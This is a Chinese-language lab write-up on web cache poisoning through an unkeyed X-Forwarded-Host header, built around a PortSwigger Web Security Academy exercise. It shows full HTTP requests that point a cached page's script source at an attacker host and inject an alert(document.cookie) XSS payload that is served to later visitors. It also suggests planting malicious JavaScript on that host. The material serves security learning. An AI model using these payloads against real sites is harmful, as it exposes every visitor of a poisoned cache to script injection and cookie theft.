web cache poisioning

如果在快取的過程中,存入了有害的內容,例如存入了一個有XSS payload的頁面。 其他用戶造訪時,就會受到XSS漏洞的攻擊。 這就是快取投毒。

Cache Key

當 Web Cache 收到 HTTP 請求時,它首先必須確定是否存在可以直接提供的 Cache 回應,或者它是否必須轉送請求以供後端伺服器處理。 Web Cache 透過比較請求元件的預先定義子集,這統稱為Cache Key(快取鍵/緩存鍵)來識別等效請求。

舉例來說,假設正常請求如下,而host是Cache Key

GET / HTTP/1.1
Host: ac191f9a1fd8f85280ee092600c300b8.web-security-academy.net
...omit...

正常返回如下, X-Cache: miss代表沒有使用快取的內容,因此是直接由服務返回結果,接著快取服務器會將以下返回內容做快取

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Connection: close
Cache-Control: max-age=30
Age: 0
X-Cache: miss
...omit...

host(Cache Key)不變情況下,如果在10秒後在送一次相同請求,會返回以下快取內容,X-Cache: hit代表使用剛剛快取服務器的快取內容,而不是服務器的內容

...omit...
	Cache-Control: max-age=30
	Age: 10
	X-Cache: hit
...omit...

host(Cache Key)不變情況下,但在30秒後在送出一次相同請求,就會返回以下內容,因為快取時間30秒己經結束,因此不使用快取內容,所以服務器返回X-Cache: miss

...omit...
	Cache-Control: max-age=30
	Age: 0
	X-Cache: miss
...omit...


攻擊方式

任何的快取投毒都依賴unkeyed header(非快取鍵),所以我們一開始就要判斷哪些HTTP頭部屬於快取鍵,哪些不屬於。 再透過修改或加入HTTP頭部來判斷哪些頭部會造成頁面內容的變化。 常用的兩種方式:

  1. 手動修改或新增HTTP頭部,指定隨機字元判斷頭部是否影響頁面內容
  2. 使用Brupsuite外掛程式Param Miner來自動判斷

以這個lab: Web cache poisoning with an unkeyed header為例,先尋找目標隱藏參數,透過Param Miner去搜尋,可以發現X-Forwarded-Host的內容會影響返回內容,但不會影響快取結果,這個也稱為unkeyed header

送出請求時,多加個X-Forwarded-Host: attackhost.net,如下

########request##########
GET / HTTP/1.1
Host: ac191f9a1fd8f85280ee092600c300b8.web-security-academy.net
X-Forwarded-Host: attackhost.net
...omit...

########response##########
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Connection: close
Cache-Control: max-age=30
Age: 0
X-Cache: miss
...omit...
<script type="text/javascript" src="//attackhost.net/resources/js/tracking.js"></script>
...omit...

在返回時就會發現,返回內容變成attackhost.net,這表示隱藏參數X-Forwarded-Host可以控制返回內容

確定隱藏參數X-Forwarded-Host可用後,可加入XSS進行攻擊,如下

########request##########
GET / HTTP/1.1
Host: ac191f9a1fd8f85280ee092600c300b8.web-security-academy.net
X-Forwarded-Host: attackhost.net"></script><script>alert(document.cookie)</script>
...omit...

########response##########
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Connection: close
Cache-Control: max-age=30
Age: 0
X-Cache: miss
...omit...
<script type="text/javascript" src="//attackhost.net"></script><script>alert(document.cookie)</script>/resources/js/tracking.js"></script>
...omit...

返回內容就會夾帶XSS攻擊alert(document.cookie),由於該內容己被服務器快取,因此在30秒內,所有訪問該主機該網址的訪客,返回結果都會得到這個含XSS的快取內容,如下,X-Cache: hit表示使用快取內容

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Connection: close
Cache-Control: max-age=30
Age: 1
X-Cache: hit
...omit...
<script type="text/javascript" src="//attackhost.net"></script><script>alert(document.cookie)</script>/resources/js/tracking.js"></script>
...omit...

除此之外,也可以在攻擊主機attackhost.net中準備一樣路徑的js資源/resources/js/tracking.js,並把攻擊代碼寫在裡面,也有同樣的效果

refer
lab: Web cache poisoning with an unkeyed header